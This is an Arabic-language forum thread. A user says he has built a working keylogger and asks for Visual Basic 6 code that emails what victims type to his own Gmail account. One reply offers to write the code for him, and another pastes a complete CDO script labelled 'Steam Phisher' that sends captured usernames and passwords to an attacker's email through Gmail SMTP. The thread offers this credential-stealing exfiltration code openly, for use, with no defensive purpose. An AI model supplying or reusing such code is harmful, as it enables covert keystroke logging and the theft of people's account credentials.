مساعدة في كود ارسال ايميل بالفيجوال 6

[zeus85]

السلام عليكم شباب

شباب اني محتاج برنامج كود لارسال ايميلات بالفجوال بيسك 6 باستخدام ال gmail smtp انا بصراحة برمجت key logger وهو شغال بس محتاج البرنامج يرسلي ما يكتبه المستخدم على ايميلي
مثال للكود بس محتاج مساعدتكم

Dim message As New MailMessage
Dim usename As String = text1.text
Dim password As String = text2.text
Dim destenation As String = text3.text
smtp.Host = "smtp.gmail.com"
smtp.EnableSsl = True
smtp.Port = "587"

[ابن الموت.R]

بكل بساطة اخي الهكر ما عليك سوى برمجة كود صغير يعتمد على برنامج الاوت لووك من موسوعة الافيس ان لم تكن تعرف الكود اجبني
لاكتب لك الكووود - بالتوفيق باذن الله الحكيم.

[Mr Fool]

وعليكم السلام ورحمه الله وبركاته
طبعا حاليا ما عندي فيجول بسيك 6 و لكن وجد هذا الكود هل يعمل ام لا شوف انت الفكره وطبقا

Set C0nw0nk = CreateObject("CDO.Message")
C0nw0nk.From = "GMAIL HERE!"
C0nw0nk.To = "ANY EMAIL HERE!"
C0nw0nk.Subject = "Phished Steam"
C0nw0nk.TextBody = "Username: " & Text1 & vbCrLf & "Password: " & Text2.Text & vbCrLf & " C0nw0nk | Steam Phisher "
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "GMAIL HERE!"
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "password here!"
C0nw0nk.Configuration.Fields.Update
C0nw0nk.Send

[sssssss]

الـــــجــــــزائــــــــ ـر
مشكور على الموظوع